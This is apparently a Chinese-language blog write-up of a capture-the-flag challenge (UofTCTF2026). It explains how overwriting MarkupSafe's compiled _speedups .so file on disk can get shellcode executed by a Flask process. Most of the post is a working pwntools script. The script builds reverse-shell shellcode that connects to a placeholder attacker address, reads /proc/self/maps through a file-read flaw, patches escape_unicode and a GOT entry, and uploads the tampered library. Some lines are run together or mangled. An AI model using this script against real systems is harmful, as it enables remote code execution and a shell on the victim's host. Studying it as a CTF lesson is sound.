c 扩展模块覆盖

Web 安全 发布于 17 天前 最后更新于 17 天前


c 扩展模块

Python 中的一些库存在 C 扩展模块,用于提升性能。Linux 中的 C 扩展模块是 .so 文件,例如:_speedups.cpython-312-x86_64-linux-gnu.so。

延迟加载与按页读取

页(Page):内存管理的最小单位,通常 4KB。

.so 文件通过 mmap 映射到进程地址空间,但不会立即读取。只有当 python 进程在运行过程中 cpu 访问某个地址时,触发缺页异常,才会将该地址所在的页从磁盘上的 so 文件读入内存。

c 扩展模块覆盖的实现

以 MarkupSafe 库中 escape_unicode()为例。Flask 的 render_template_string()会调用 escape()函数,escape()内部调用 escape_unicode() 进行 HTML 转义。

攻击者通过覆盖磁盘上的 .so 文件,有两种可能实现攻击的方式:

  • 用 shellcode 替换 escape_unicode()的函数体
  • 或修改 escape_unicode()内部调用的 libc 函数(如 strlen)的 GOT 表项,指向 shellcode 当 Python 进程下次进行 HTML 转义时,如果被修改的页面尚未加载到内存,就会从修改后的文件读取,触发 shellcode 执行。

以 UoftCTF2026 为例,这道题目在权限范围内可以实现任意文件读和任意文件写,将 python 解释器环境设定在了可写入的 /tmp 目录下的虚拟环境中,web 应用中存在 render_template_string()并且会进行 HTML 转义,也就是要调用到 escape_unicode() 函数。

会触发攻击的实现脚本:

Python
from pwn import*import requests

context.binary = lib = ELF("_speedups.cpython-312-x86_64-linux-gnu.so")

# 1. 生成反向 shell 的 shellcode
payload = asm(f"""
    {shellcraft.connect("IPHERE", 8888)}  # 连接攻击者服务器
    {shellcraft.dup2('rdi', 0)}           # 重定向 stdin
    {shellcraft.dup2('rdi', 1)}           # 重定向 stdout  
    {shellcraft.dup2('rdi', 2)}           # 重定向 stderr
    {shellcraft.sh()}                      # 执行 /bin/sh
""")

# 2. 利用路径遍历读取 /proc/self/maps 获取内存布局
maps = requests.post("https://xxx/read", 
    data={"filename":"/proc/self/maps"}).text.splitlines()

# 3. 找到 _speedups.so 的加载基址
for line in maps:
    if "_speedups.cpython-312-x86_64-linux-gnu.so" in line [-1]:
        addr = int(line [0].split('-')[0], 16)break

# 4. 修改本地的 .so 文件
lib_file = bytearray(open("_speedups.cpython-312-x86_64-linux-gnu.so", 'rb').read())

# 5. 将 escape_unicode 函数替换为 shellcode
lib_file [lib.symbols ['escape_unicode']:lib.symbols ['escape_unicode'] + len(payload)] = payload

# 6. 修改 GOT 表项,指向 shellcode 所在地址
lib_file [0x30c8:0x30c8+8] = p64(addr + 0x1130)

# 7. 上传恶意 .so 覆盖原文件
requests.post("https://xxx/upload", files={
    "file": ("/tmp/venv_flask/lib/python3.12/site-packages/markupsafe/_speedups.cpython-312-x86_64-linux-gnu.so", 
             bytes(lib_file))
})
Python

这里做了两手准备,对 escape_unicode()的函数体和 escape_unicode()内部调用的 libc 函数 GOT 表项都进行了覆盖。